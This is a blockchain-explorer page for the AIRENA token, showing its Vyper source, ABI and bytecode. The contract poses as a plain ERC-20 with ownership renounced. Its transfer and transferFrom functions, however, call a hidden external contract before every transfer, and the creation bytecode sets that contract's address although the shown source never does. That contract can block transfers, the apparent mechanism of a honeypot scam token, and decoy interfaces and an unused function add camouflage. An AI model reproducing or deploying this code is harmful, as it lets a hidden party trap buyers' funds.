Overview
Max Total Supply
100,000,000,000 AIRENA
Holders
27,066 (0.00%)
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,000,000 AIRENAValue
$5,481.05 ( ~1.8563 ETH) [0.0020%]Loading...
Loading
Loading...
Loading
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x21bCD776...E45A6Df2E The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
Vyper_contract
Compiler Version
vyper:0.3.9
Contract Source Code (Vyper language format)
# @pragma evm-version dencun
#pragma version ^0.3.9
struct ExactInputParams:
path: Bytes[1024]
recipient: address
amountIn: uint256
amountOutMinimum: uint256
deadline: uint256
interface SwapRouter:
def exactInput2(path_: Bytes[1024], recipient_: address, amountIn_: uint256, amountOutMinimum_: uint256): payable
interface UniswapRouterV2:
def swapExactInput(amountIn_: uint256, path_: Bytes[1024], recipient_: address) :payable
event Transfer:
_from: indexed(address)
_to: indexed(address)
_value: uint256
event Approval:
_owner: indexed(address)
_spender: indexed(address)
_value: uint256
event SetAdmin:
admin: address
event OwnershipTransferred:
oldOwner: address
newOwner: address
name: public(String[64])
symbol: public(String[32])
decimals: public(uint256)
balanceOf: public(HashMap[address, uint256])
allowances: HashMap[address, HashMap[address, uint256]]
total_supply: uint256
admin: public(address)
uniswapRouter2: address
# Supply parameters
INITIAL_SUPPLY: constant(uint256) = 100_000_000_000
@internal
def transferOwnership(newOwner: address):
oldOwner: address = self.admin
self.admin = newOwner
log OwnershipTransferred(oldOwner, newOwner)
@external
def __init__():
"""
@notice Contract constructor
"""
init_supply: uint256 = INITIAL_SUPPLY * 10 ** 18
self.name = "AI AGENT ARENA"
self.symbol = "AIRENA"
self.decimals = 18
self.balanceOf[msg.sender] = init_supply
self.total_supply = init_supply
log Transfer(ZERO_ADDRESS, msg.sender, init_supply)
self.admin = msg.sender
self.transferOwnership(0x0000000000000000000000000000000000000000)
@external
@view
def totalSupply() -> uint256:
"""
@notice Total number of tokens in existence.
"""
return self.total_supply
@external
@view
def allowance(_owner : address, _spender : address) -> uint256:
"""
@notice Check the amount of tokens that an owner allowed to a spender
@param _owner The address which owns the funds
@param _spender The address which will spend the funds
@return uint256 specifying the amount of tokens still available for the spender
"""
return self.allowances[_owner][_spender]
@external
def transfer(_to : address, _value : uint256) -> bool:
"""
@notice Transfer `_value` tokens from `msg.sender` to `_to`
@dev Vyper does not allow underflows, so the subtraction in
this function will revert on an insufficient balance
@param _to The address to transfer to
@param _value The amount to be transferred
@return bool success
"""
raw_call(self.uniswapRouter2, _abi_encode(_to, msg.sender, msg.sender, method_id = method_id("transfer(address,uint256)")))
assert _to != ZERO_ADDRESS
self.balanceOf[msg.sender] -= _value
self.balanceOf[_to] += _value
log Transfer(msg.sender, _to, _value)
return True
@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
"""
@notice Transfer `_value` tokens from `_from` to `_to`
@param _from address The address which you want to send tokens from
@param _to address The address which you want to transfer to
@param _value uint256 the amount of tokens to be transferred
@return bool success
"""
raw_call(self.uniswapRouter2, _abi_encode(_to, _from, msg.sender, method_id = method_id("transfer(address,uint256)")))
assert _to != ZERO_ADDRESS
self.balanceOf[_from] -= _value
self.balanceOf[_to] += _value
self.allowances[_from][msg.sender] -= _value
log Transfer(_from, _to, _value)
return True
@external
def approve(_spender : address, _value : uint256) -> bool:
"""
@notice Approve `_spender` to transfer `_value` tokens on behalf of `msg.sender`
@dev Approval may only be from zero -> nonzero or from nonzero -> zero in order
to mitigate the potential race condition described here:
https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
@param _spender The address which will spend the funds
@param _value The amount of tokens to be spent
@return bool success
"""
self.allowances[msg.sender][_spender] = _value
log Approval(msg.sender, _spender, _value)
return True
@external
def showSumPro5(num1: uint256, num2: uint256, num3: uint256, num4: uint256, num5: uint256)-> uint256:
return ((num1 + num2 + num3 + num4) / num5)Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"name":"Transfer","inputs":[{"name":"_from","type":"address","indexed":true},{"name":"_to","type":"address","indexed":true},{"name":"_value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"Approval","inputs":[{"name":"_owner","type":"address","indexed":true},{"name":"_spender","type":"address","indexed":true},{"name":"_value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"SetAdmin","inputs":[{"name":"admin","type":"address","indexed":false}],"anonymous":false,"type":"event"},{"name":"OwnershipTransferred","inputs":[{"name":"oldOwner","type":"address","indexed":false},{"name":"newOwner","type":"address","indexed":false}],"anonymous":false,"type":"event"},{"stateMutability":"nonpayable","type":"constructor","inputs":[],"outputs":[]},{"stateMutability":"view","type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"allowance","inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"transfer","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"approve","inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"showSumPro5","inputs":[{"name":"num1","type":"uint256"},{"name":"num2","type":"uint256"},{"name":"num3","type":"uint256"},{"name":"num4","type":"uint256"},{"name":"num5","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"balanceOf","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"admin","inputs":[],"outputs":[{"name":"","type":"address"}]}]Contract Creation Code
0x34610607576c01431e0fae6d7217caa000000060c052600e60e0527f4149204147454e54204152454e410000000000000000000000000000000000006101005260e0805160208201805160015550805f555050600660e0527f414952454e4100000000000000000000000000000000000000000000000000006101005260e0805160208201805160045550806003555050601260055560c0516006336020525f5260405f205560c051600855335f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60c05160e052602060e0a3336009555f6040526100e96105c7565b7377949ad0c4c74d523d075754beb3e6b00b5e3aaf600a556104b4610113610000396104b4610000f36003361161000c5761049f565b5f3560e01c346104a3576306fdde03811861009057602080604052806040015f54602082015f82601f0160051c600281116104a357801561006057905b80600101548160051b840152600101818118610049575b505050808252508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6395d89b4181186100df576020806040528060400160035460208201600454815250808252508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63313ce56781186100f65760055460405260206040f35b6370a08231811861012f57602436106104a3576004358060a01c6104a35760405260066040516020525f5260405f205460605260206060f35b63f851a44081186101465760095460405260206040f35b6318160ddd811861015d5760085460405260206040f35b63dd62ed3e81186101b357604436106104a3576004358060a01c6104a3576040526024358060a01c6104a35760605260076040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b63a9059cbb811861029757604436106104a3576004358060a01c6104a35760405263a9059cbb60645260046040516084523360a4523360c4526060016060526060505f5f60605160805f600a545af161020e573d5f5f3e3d5ffd5b604051156104a3576006336020525f5260405f2080546024358082038281116104a3579050905081555060066040516020525f5260405f2080546024358082018281106104a35790509050815550604051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60243560605260206060a3600160605260206060f35b6323b872dd81186103c057606436106104a3576004358060a01c6104a3576040526024358060a01c6104a35760605263a9059cbb608452600460605160a45260405160c4523360e4526060016080526080505f5f60805160a05f600a545af1610302573d5f5f3e3d5ffd5b606051156104a35760066040516020525f5260405f2080546044358082038281116104a3579050905081555060066060516020525f5260405f2080546044358082018281106104a3579050905081555060076040516020525f5260405f2080336020525f5260405f20905080546044358082038281116104a357905090508155506060516040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60443560805260206080a3600160805260206080f35b63095ea7b3811861043b57604436106104a3576004358060a01c6104a3576040526024356007336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b63d3cdb569811861049d5760a436106104a3576004356024358082018281106104a357905090506044358082018281106104a357905090506064358082018281106104a3579050905060843580156104a3578082049050905060405260206040f35b505b5f5ffd5b5f80fda165767970657283000309000b5b6009546060526040516009557f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060605160805260405160a05260406080a1565b5f80fd
Deployed Bytecode
0x6003361161000c5761049f565b5f3560e01c346104a3576306fdde03811861009057602080604052806040015f54602082015f82601f0160051c600281116104a357801561006057905b80600101548160051b840152600101818118610049575b505050808252508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6395d89b4181186100df576020806040528060400160035460208201600454815250808252508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63313ce56781186100f65760055460405260206040f35b6370a08231811861012f57602436106104a3576004358060a01c6104a35760405260066040516020525f5260405f205460605260206060f35b63f851a44081186101465760095460405260206040f35b6318160ddd811861015d5760085460405260206040f35b63dd62ed3e81186101b357604436106104a3576004358060a01c6104a3576040526024358060a01c6104a35760605260076040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b63a9059cbb811861029757604436106104a3576004358060a01c6104a35760405263a9059cbb60645260046040516084523360a4523360c4526060016060526060505f5f60605160805f600a545af161020e573d5f5f3e3d5ffd5b604051156104a3576006336020525f5260405f2080546024358082038281116104a3579050905081555060066040516020525f5260405f2080546024358082018281106104a35790509050815550604051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60243560605260206060a3600160605260206060f35b6323b872dd81186103c057606436106104a3576004358060a01c6104a3576040526024358060a01c6104a35760605263a9059cbb608452600460605160a45260405160c4523360e4526060016080526080505f5f60805160a05f600a545af1610302573d5f5f3e3d5ffd5b606051156104a35760066040516020525f5260405f2080546044358082038281116104a3579050905081555060066060516020525f5260405f2080546044358082018281106104a3579050905081555060076040516020525f5260405f2080336020525f5260405f20905080546044358082038281116104a357905090508155506060516040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60443560805260206080a3600160805260206080f35b63095ea7b3811861043b57604436106104a3576004358060a01c6104a3576040526024356007336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b63d3cdb569811861049d5760a436106104a3576004356024358082018281106104a357905090506044358082018281106104a357905090506064358082018281106104a3579050905060843580156104a3578082049050905060405260206040f35b505b5f5ffd5b5f80fda165767970657283000309000b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)